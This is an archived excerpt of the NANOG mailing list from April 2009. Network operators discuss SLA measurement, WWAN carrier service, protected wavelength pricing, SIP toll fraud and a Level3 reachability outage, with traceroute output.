> > > Leland > > > > > > > > > From dholmes at mwdh2o.com Wed Apr 15 12:10:21 2009 From: dholmes at mwdh2o.com (Holmes,David A) Date: Wed, 15 Apr 2009 10:10:21 -0700 Subject: Network SLA In-Reply-To: <262b67200904150410n3f2159aby4ad1edef566512c0@mail.gmail.com> References: <262b67200902190750m556cf72ve2ae25e4b64378e7@mail.gmail.com><262b67200904150322q1fc533d9h2a540e734411ba59@mail.gmail.com><1E8B940C5E21014AB8BE70B975D40EDB01627EFD@bert.HiberniaAtlantic.local> <262b67200904150410n3f2159aby4ad1edef566512c0@mail.gmail.com> Message-ID: <485ED9BA02629E4BBBA53AC892EDA50E08B90637@usmsxt104.mwd.h2o> >From the network operators' standpoint, designing a network that operates at 50% utilization (without using ponderous QoS schemes) assumes that there is no random queuing behavior in the network that can result in dropped packets and large variations in packet arrival jitter. An active measurement tool such as BRIX gathers empirical data for packet drops and jitter from which accurate predictions about network behavior can be made. Think of active measurement tools as a means of implementing a scientific approach to determining network behavior. >From the users' standpoint, BRIX can be used to validate the service providers' contractual SLA, and provide empirical data to support SLA violation penalties. -----Original Message----- From: Saqib Ilyas [mailto:msaqib at gmail.com] Sent: Wednesday, April 15, 2009 4:11 AM To: nanog at nanog.org Subject: Re: Network SLA Hmmm. Good point. Perhaps the Internet traffic gets only a small share of the link capacity and the rest is reserved for corporate clients' VPN traffic etc. I was thinking more along the lines of corporate SLAs, not for Internet traffic. On Wed, Apr 15, 2009 at 4:05 PM, Rod Beck wrote: > Congestion is more common than you think. And by the way, if congestion > is not a problem in Pakistan, then why is the VoIP qualit so poor? > > :) > > Roderick S. Beck > Director of European Sales > Hibernia Atlantic > 13-15, rue Sedaine, 75011 Paris > http://www.hiberniaatlantic.com > Wireless: 1-212-444-8829. > French Landline: 33+1+4355+8224 > French Wireless: 33-6-14-33-48-97. > AOL Messenger: GlobalBandwidth > rod.beck at hiberniaatlantic.com > rodbeck at erols.com > ``Unthinking respect for authority is the greatest enemy of truth.'' Albert > Einstein. > > > > -----Original Message----- > From: Saqib Ilyas [mailto:msaqib at gmail.com ] > Sent: Wed 4/15/2009 11:22 AM > To: nanog at nanog.org > Subject: Re: Network SLA > > I talked to the NOC personnel at a small (compared to North American > standards) ISP in Pakistan. They said that their core links are operating > at > less than 50% utilization most of the time. Under such conditions, > violating > SLA conditions in the core is unlikely. If such is also the case with most > service providers in the North America as well, then why would they even > use > active measurement such as iPerf or BRIX or Cisco IP SLAs before signing an > SLA? > Thanks and best regards > > On Thu, Feb 19, 2009 at 8:50 PM, Saqib Ilyas wrote: > > > Greetings > > I am curious to know about any tools/techniques that a service provider > > uses to assess an SLA before signing it. That is to say, how does an > > administrator know if he/she can meet what he is promising. Is it based > on > > experience? Are there commonly used tools for this? > > Thanks and best regards > > -- > > Muhammad Saqib Ilyas > > PhD Student, Computer Science and Engineering > > Lahore University of Management Sciences > > > > > > -- > Muhammad Saqib Ilyas > PhD Student, Computer Science and Engineering > Lahore University of Management Sciences > > -- Muhammad Saqib Ilyas PhD Student, Computer Science and Engineering Lahore University of Management Sciences From dholmes at mwdh2o.com Wed Apr 15 12:18:45 2009 From: dholmes at mwdh2o.com (Holmes,David A) Date: Wed, 15 Apr 2009 10:18:45 -0700 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on oroff-list replies welcome In-Reply-To: References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> Message-ID: <485ED9BA02629E4BBBA53AC892EDA50E08B90646@usmsxt104.mwd.h2o> My understanding is that AT&T uses an MPLS/VRF CE router facing the user such that the resulting network connectivity is a private MPLS VPN. VZW apparently requires the user to implement a GRE/IPSec configuration just to reach their MPLS/VRF layer. The resulting user router config is thus much simpler with AT&T. Haven't heard about Sprint though. -----Original Message----- From: Crooks, Sam [mailto:Sam.Crooks at experian.com] Sent: Tuesday, April 14, 2009 9:26 PM To: nanog at nanog.org Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on oroff-list replies welcome I'm considering use of AT&T / Verizon / Sprint WWAN services and the Cisco 3G router interface cards/integrated module in C880 routers for primary or backup WAN network connectivity for routers. I'm looking for information from users of these services on the following: - addressing - Do these WWAN services use dynamic, PPPoE or static IP assignment typically? Any of the 3? All? - is static IP assignment available? - do these service providers use NAT within their network? - How is the service reliability? In most cases, is the service available for use when you need to use it? - How is the service coverage area? Do you have problems getting sufficient coverage in the deplouyment location to support desired speeds (say 512kbps up/down as a minimum)? - is ESP / IKE / IPsec permitted through un-rate-limited and un-molested by the providers? - If you build a IPsec/GRE tunnel over these services, do you have frequent issues with the tunnel dropping, or a dynamic routing protocol running through the tunnel going down frequently? Also interested in similar information on impressions of similar EMEA WWAN service providers, particularly Vodaphone and T-Mobile, if anyone has experiences with these. Replies on-list or off-list are welcome.... Your choice. Cisco 3G interface and provider information: http://www.cisco.com/en/US/products/ps7272/index.html http://www.cisco.com/en/US/prod/routers/networking_solutions_products_ge nericcontent0900aecd80601f7e.html#~north-america Regards, Sam Crooks From Rod.Beck at hiberniaatlantic.com Wed Apr 15 12:37:36 2009 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Wed, 15 Apr 2009 18:37:36 +0100 Subject: [SPAM-HEADER] - Re: Diversity - was: Fiber cut in SF area - Email has different SMTP TO: and MIME TO: fields in the email addresses References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> <20090415155426.GU51443@gerbil.cluepon.net> Message-ID: <1E8B940C5E21014AB8BE70B975D40EDB01627F09@bert.HiberniaAtlantic.local> Hi Richard, I never said that protected LAN PHY 10 GigE was more expensive than two diversely routed waves. However, Hibernia's engineers have advised that route protected LAN PHY 10 GigE will tolerate a relatively high BER before switching. I stand by that statement. I said that protected STM64 service was more expensive and that is true. Not only do you need two diversely STM64 waves, but you need protection as well. Finally, you're wrong about "trying to charge what the market will bear". I have sold almost 30 ten gig waves (leases) and I have only received one request (global bank) for protected service. When I priced at the twice the price of an unprotected service plus a 10% premium, that request was downsized to a protected STM16. Customers in general are simply not willing to pay for protection. Indeed, most of them prefer to load balance among diversely routed 10 gig waves or buy waves on several network or cable systems. And there are incumbents and competitive carriers that want to protect the service themselves. How many protected waves do you have? :) Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com From andy at nosignal.org Wed Apr 15 12:49:25 2009 From: andy at nosignal.org (Andy Davidson) Date: Wed, 15 Apr 2009 18:49:25 +0100 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: <37c351df0904150935v462e602bqaa65d98275c07efd@mail.gmail.com> References: <37c351df0904150935v462e602bqaa65d98275c07efd@mail.gmail.com> Message-ID: <20090415174925.GA10545@chilli.nosignal.org> On Wed, Apr 15, 2009 at 11:35:43AM -0500, Dane wrote: > Today I heard from someone who says Verizon is telling them they see > about 700 calls per hour to Cuba originating from their PRI. > Obviously some type of toll fraud. In the same way that it's possible to configure a mail relay as a device that forwards mail between unintended parties, it is possible to configure a SIP proxy as a device that causes calls to be forwarded between unintended parties too. Likewise, in the same way that spammers scan network ranges for these misconfigured mail gateways, thieves look for unsecured SIP gateways to relay calls through. The SIP traffic mentioned at the start of this thread doesn't follow the pattern of this constant background noise. Kind regards, Andy From martin at theicelandguy.com Wed Apr 15 12:56:50 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Wed, 15 Apr 2009 13:56:50 -0400 Subject: [SPAM-HEADER] - Re: Diversity - was: Fiber cut in SF area - Email has different SMTP TO: and MIME TO: fields in the email addresses In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627F09@bert.HiberniaAtlantic.local> References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> <20090415155426.GU51443@gerbil.cluepon.net> <1E8B940C5E21014AB8BE70B975D40EDB01627F09@bert.HiberniaAtlantic.local> Message-ID: On Wed, Apr 15, 2009 at 1:37 PM, Rod Beck wrote: > Hi Richard, > > I never said that protected LAN PHY 10 GigE was more expensive than two > diversely routed waves. However, Hibernia's engineers have advised that > route protected LAN PHY 10 GigE will tolerate a relatively high BER before > switching. I stand by that statement. > > I said that protected STM64 service was more expensive and that is true. > Not only do you need two diversely STM64 waves, but you need protection as > well. > > Finally, you're wrong about "trying to charge what the market will bear". Rod, Unless you are lucky enough to be doing large,cost +, IRU deals all day, supply and demand economics should prevail, right? The minimum a market would bear is based on costs and then supply vs. demand. Best, Marty -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From charles at thewybles.com Wed Apr 15 13:02:16 2009 From: charles at thewybles.com (Charles Wyble) Date: Wed, 15 Apr 2009 11:02:16 -0700 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on or off-list replies welcome In-Reply-To: References: Message-ID: <49E62128.4020109@thewybles.com> Crooks, Sam wrote: > I'm considering use of AT&T / Verizon / Sprint WWAN services and the > Cisco 3G router interface cards/integrated module in C880 routers for > primary or backup WAN network connectivity for routers. > I haven't used the integrated cards with cisco gear. However I do have 300+ cards deployed throughout the United States (EVDO USB modems on Linux boxes). > I'm looking for information from users of these services on the > following: > > - addressing - Do these WWAN services use dynamic, PPPoE or static IP > assignment typically? Any of the 3? All? > - is static IP assignment available? We have static IP assignment for our Verizon cards. Sprint cards aren't static. > > - do these service providers use NAT within their network? Verizon doesn't. Not sure about Sprint. T-mobile doesn't either. > > - How is the service reliability? In most cases, is the service > available for use when you need to use it? We have found it to be quite reliable, although a small subset (about 15 to 20 connections) have been giving us issues. I posted on this last week or so. No resolution from Verizon as of yet. > - How is the service coverage area? Do you have problems getting > sufficient coverage in the deplouyment location to support desired > speeds (say 512kbps up/down as a minimum)? Frequently you will need to deploy an external antenna as a booster. Dunno if the Cisco cards have the option, but I would imagine they do. It's almost a necessity in the vast majority of indoor deployments. > - is ESP / IKE / IPsec permitted through un-rate-limited and un-molested > by the providers? > - If you build a IPsec/GRE tunnel over these services, do you have > frequent issues with the tunnel dropping, or a dynamic routing protocol > running through the tunnel going down frequently? > We use OpenVPN without incident. Dunno bout GRE/IPSEC. > Also interested in similar information on impressions of similar EMEA > WWAN service providers, particularly Vodaphone and T-Mobile, if anyone > has experiences with these. I have used T-mobile EDGE via Linux with great success (even ran a skype conference call over it). See my blog post on the configuration at: http://charlesnw.blogspot.com/2008/10/blackberry-pearl-8120-linux-ubuntu-804.html Speed tests I did gave me 126k. So you would most likely want HSDPA for sure. I have yet to try HSDPA but hear excellent things about it. They recently released a USB dongle which does wifi/hsdpa/edge. See http://www.i4u.com/article23865.html for more. I agree with the other posters about POC and site survey. All sorts of strange environmental issues can pop up and wreak havoc on signal. This for branch office environments? Retail? Industrial? (My deployments are retail locations). From Rod.Beck at hiberniaatlantic.com Wed Apr 15 13:03:26 2009 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Wed, 15 Apr 2009 19:03:26 +0100 Subject: [SPAM-HEADER] - Re: Diversity - was: Fiber cut in SF area - Email has different SMTP TO: and MIME TO: fields in the email addresses References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> <20090415155426.GU51443@gerbil.cluepon.net> <1E8B940C5E21014AB8BE70B975D40EDB01627F09@bert.HiberniaAtlantic.local> Message-ID: <1E8B940C5E21014AB8BE70B975D40EDB01627F0A@bert.HiberniaAtlantic.local> Hi Martin, That statement is true in the long run. But not the short run. No would argue that current TransAtlantic pricing could justify a new cable system. :) If you look at the last three TransAtlantic builds, they spanned from $600 million to $980 million. No backhaul included. Current market pricing could never justify another system or for that matter doing a true terrestrial build (trenching and creating a conduit system). Everything has been based on recycled assets to this point. Regards, Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Landline: 33+1+4355+8224 French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. From sethm at rollernet.us Wed Apr 15 13:13:20 2009 From: sethm at rollernet.us (Seth Mattinen) Date: Wed, 15 Apr 2009 11:13:20 -0700 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on or off-list replies welcome Message-ID: <49E623C0.1070303@rollernet.us> Charles Wyble wrote: > > > Crooks, Sam wrote: >> I'm considering use of AT&T / Verizon / Sprint WWAN services and the >> Cisco 3G router interface cards/integrated module in C880 routers for >> primary or backup WAN network connectivity for routers. >> > > I haven't used the integrated cards with cisco gear. However I do have > 300+ cards deployed throughout the United States (EVDO USB modems on > Linux boxes). > > >> I'm looking for information from users of these services on the >> following: >> - addressing - Do these WWAN services use dynamic, PPPoE or static IP >> assignment typically? Any of the 3? All? >> - is static IP assignment available? > > We have static IP assignment for our Verizon cards. Sprint cards aren't > static. > I received an offlist response indicating Sprint now offers static. ~Seth From sil at infiltrated.net Wed Apr 15 14:35:37 2009 From: sil at infiltrated.net (J. Oquendo) Date: Wed, 15 Apr 2009 14:35:37 -0500 Subject: Level3 funkiness Message-ID: <20090415193537.GA63377@infiltrated.net> Anyone else experience sporadic funkiness via Level3? I can't even reach the main website from who knows how many networks I've tried. Also friends and former colleagues have tried to reach the site to no avail. One of my machines on AT&T: # traceroute level3.net traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 ms 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms 10.833 ms 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms 14.474 ms 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms 9.725 ms 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms 16.275 ms 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms 45.774 ms 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms 38.135 ms 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms 67.937 ms 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H (From Texas through Above.net) $ traceroute level3.net|tail -n 1 traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H Confirmed it can't be reached from Travelers Ins, The Hartford, none of my connections. Anyone else seeing issues? I'm seeing drop off from clients going through their Atlanta interconnects with Charter and two other providers, which I can't make sense of. I DO KNOW they experienced some sort of issue with a TDM switch or so they said... Very broad statements: "We know teh interwebs are down please stand by" I know websites are one thing, but the chances of the website going down, a TDM switch being wacky and now clients traversing their networks complaining all at once seems a little out of the ordinary. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E From w3yni1 at gmail.com Wed Apr 15 14:45:47 2009 From: w3yni1 at gmail.com (Charles Mills) Date: Wed, 15 Apr 2009 15:45:47 -0400 Subject: Level3 funkiness In-Reply-To: <20090415193537.GA63377@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> Message-ID: <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> Can't get to level3.net 63.211.236.36 or www.level3.net 4.68.95.28 from Pittsburgh either and I peer directly with level3 with a full BGP feed. On Wed, Apr 15, 2009 at 3:35 PM, J. Oquendo wrote: > > Anyone else experience sporadic funkiness via > Level3? I can't even reach the main website from who > knows how many networks I've tried. Also friends > and former colleagues have tried to reach the site > to no avail. > > One of my machines on AT&T: > # traceroute level3.net > traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets > > 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms > 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 > ms > 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms > 10.833 ms > 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms > 14.474 ms > 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms > 9.725 ms > 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms > 16.275 ms > 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms > ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms > ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms > 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms > ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms > ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms > 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms > 45.774 ms > 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms > 38.135 ms > 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms > 67.937 ms > 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H > ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H > ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H > > > (From Texas through Above.net) > $ traceroute level3.net|tail -n 1 > traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets > 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * > ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H > > Confirmed it can't be reached from Travelers Ins, The > Hartford, none of my connections. Anyone else seeing > issues? I'm seeing drop off from clients going through > their Atlanta interconnects with Charter and two other > providers, which I can't make sense of. I DO KNOW they > experienced some sort of issue with a TDM switch or so > they said... Very broad statements: "We know teh > interwebs are down please stand by" > > I know websites are one thing, but the chances of the > website going down, a TDM switch being wacky and now > clients traversing their networks complaining all at > once seems a little out of the ordinary. > > =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ > J. Oquendo > SGFA, SGFE, C|EH, CNDA, CHFI, OSCP > > "It takes 20 years to build a reputation and five minutes to > ruin it. If you think about that, you'll do things > differently." - Warren Buffett > > 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E > > > -- From dave at stayonline.com Wed Apr 15 14:46:11 2009 From: dave at stayonline.com (Dave Larter) Date: Wed, 15 Apr 2009 15:46:11 -0400 Subject: Level3 funkiness In-Reply-To: <20090415193537.GA63377@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> Message-ID: <8B79B73777E7D544A24BEB8FC50D35DB527394@MERCURY.socrdu.com> Yes, I die on your hop14 with TWTelecom -----Original Message----- From: J. Oquendo [mailto:sil at infiltrated.net] Sent: Wednesday, April 15, 2009 3:36 PM To: nanog at nanog.org Subject: Level3 funkiness Anyone else experience sporadic funkiness via Level3? I can't even reach the main website from who knows how many networks I've tried. Also friends and former colleagues have tried to reach the site to no avail. One of my machines on AT&T: # traceroute level3.net traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 ms 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms 10.833 ms 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms 14.474 ms 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms 9.725 ms 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms 16.275 ms 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms 45.774 ms 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms 38.135 ms 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms 67.937 ms 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H (From Texas through Above.net) $ traceroute level3.net|tail -n 1 traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H Confirmed it can't be reached from Travelers Ins, The Hartford, none of my connections. Anyone else seeing issues? I'm seeing drop off from clients going through their Atlanta interconnects with Charter and two other providers, which I can't make sense of. I DO KNOW they experienced some sort of issue with a TDM switch or so they said... Very broad statements: "We know teh interwebs are down please stand by" I know websites are one thing, but the chances of the website going down, a TDM switch being wacky and now clients traversing their networks complaining all at once seems a little out of the ordinary. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E From Justin.Dixon at BBandT.com Wed Apr 15 14:49:56 2009 From: Justin.Dixon at BBandT.com (Dixon, Justin) Date: Wed, 15 Apr 2009 15:49:56 -0400 Subject: Level3 funkiness In-Reply-To: <20090415193537.GA63377@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> Message-ID: <91864382B2433640BA2A447041B3DBC30A4F5FC5@wil-exmb01.bbtnet.com> >-----Original Message----- >From: J. Oquendo [mailto:sil at infiltrated.net] >Sent: Wednesday, April 15, 2009 15:36 >To: nanog at nanog.org >Subject: Level3 funkiness > > >Anyone else experience sporadic funkiness via >Level3? I can't even reach the main website from who >knows how many networks I've tried. Also friends >and former colleagues have tried to reach the site >to no avail. > >One of my machines on AT&T: ># traceroute level3.net >traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets > > 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms > 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 ms > 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms 10.833 ms > 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms 14.474 ms > 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms 9.725 ms > 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms 16.275 ms >10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms ae-74->74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms ae-84->84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms >11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms ae-62->62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms ae-72->72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms >12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms 45.774 ms >13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms 38.135 ms >14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms 67.937 ms >15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H ge-9->1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H ge-9-2.hsa1.Denver1.Level3.net >(4.68.107.163) 75.797 ms !H > > >(From Texas through Above.net) >$ traceroute level3.net|tail -n 1 >traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets >11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * ge-6->0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H > >Confirmed it can't be reached from Travelers Ins, The >Hartford, none of my connections. Anyone else seeing >issues? I'm seeing drop off from clients going through >their Atlanta interconnects with Charter and two other >providers, which I can't make sense of. I DO KNOW they >experienced some sort of issue with a TDM switch or so >they said... Very broad statements: "We know teh >interwebs are down please stand by" > >I know websites are one thing, but the chances of the >website going down, a TDM switch being wacky and now >clients traversing their networks complaining all at >once seems a little out of the ordinary. > >=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+>=+=+ >J. Oquendo >SGFA, SGFE, C|EH, CNDA, CHFI, OSCP > >"It takes 20 years to build a reputation and five minutes to >ruin it. If you think about that, you'll do things >differently." - Warren Buffett > >227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E >http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E > Looks similar from Sprints perspective via https://www.sprint.net/lg/lg_start.php as well... Sprint Source Region: Anaheim, CA (sl-bb20-ana) IP Destination: 63.211.236.36 Performing: ICMP Traceroute Tracing the route to 63.211.236.36 1 sl-crs2-ana-0-13-5-0.sprintlink.net (144.232.1.177) 4 msec 0 msec 0 msec 2 144.232.19.227 4 msec 24 msec sl-st30-la-0-4-5-0.sprintlink.net (144.232.24.41) 0 msec 3 xe-7-3-0.edge1.losangeles9.Level3.net (4.68.111.169) [AS 3356] 4 msec xe-7-2-0.edge1.losangeles9.Level3.net (4.68.111.89) [AS 3356] 0 msec 0 msec 4 vlan69.csw1.LosAngeles1.Level3.net (4.68.20.62) [AS 3356] 16 msec vlan99.csw4.LosAngeles1.Level3.net (4.68.20.254) [AS 3356] 12 msec vlan89.csw3.LosAngeles1.Level3.net (4.68.20.190) [AS 3356] 24 msec 5 ae-63-63.ebr3.LosAngeles1.Level3.net (4.69.137.33) [AS 3356] 4 msec 12 msec ae-93-93.ebr3.LosAngeles1.Level3.net (4.69.137.45) [AS 3356] 4 msec 6 ae-2.ebr3.SanJose1.Level3.net (4.69.132.9) [AS 3356] 40 msec 16 msec 16 msec 7 ae-73-73.csw2.SanJose1.Level3.net (4.69.134.230) [AS 3356] 16 msec ae-63-63.csw1.SanJose1.Level3.net (4.69.134.226) [AS 3356] 12 msec 12 msec 8 ae-82-82.ebr2.SanJose1.Level3.net (4.69.134.217) [AS 3356] 12 msec ae-92-92.ebr2.SanJose1.Level3.net (4.69.134.221) [AS 3356] 32 msec 12 msec 9 ae-3.ebr1.Denver1.Level3.net (4.69.132.58) [AS 3356] 60 msec 48 msec 52 msec 10 ge-6-1.hsa1.Denver1.Level3.net (4.68.107.67) [AS 3356] !H ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) [AS 3356] !H * Completed - Wed Apr 15 15:43:21 EDT 2009 Sprint Source Region: Atlanta, GA (sl-bb20-atl) IP Destination: 63.211.236.36 Performing: ICMP Traceroute Tracing the route to 63.211.236.36 1 sl-bb21-atl-14-0.sprintlink.net (144.232.12.142) 0 msec 0 msec 0 msec 2 sl-crs1-atl-0-4-0-3.sprintlink.net (144.232.12.148) 4 msec 0 msec 0 